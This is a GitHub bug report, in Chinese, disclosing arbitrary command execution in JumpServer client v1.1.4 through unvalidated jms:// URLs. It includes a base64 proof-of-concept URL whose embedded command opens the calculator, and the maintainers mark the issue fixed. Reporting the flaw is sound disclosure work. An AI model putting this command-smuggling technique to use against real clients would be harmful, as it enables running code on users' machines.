search

jumpserver / clients

JumpServer PC/Mac 客户端
http://www.jumpserver.org
29 stars 14 forks source link

[Bug] 任意命令执行 #2

Closed zzyzhangziyu closed 2 years ago

zzyzhangziyu commented 2 years ago

clients v1.1.4

Bug 描述 clients v1.1.4 没有对jms url的命令进行验证，任意命令可以下发到客户端

Bug 重现步骤(有截图更好) poc jms://eyJwcm90b2NvbCI6Inh4eCIsInVzZXJuYW1lIjoieHh4IiwiY29tbWFuZCI6ImNhbGMifQ== 上面的poc 可以打开calc

ibuler commented 2 years ago

收到

ibuler commented 2 years ago

已解决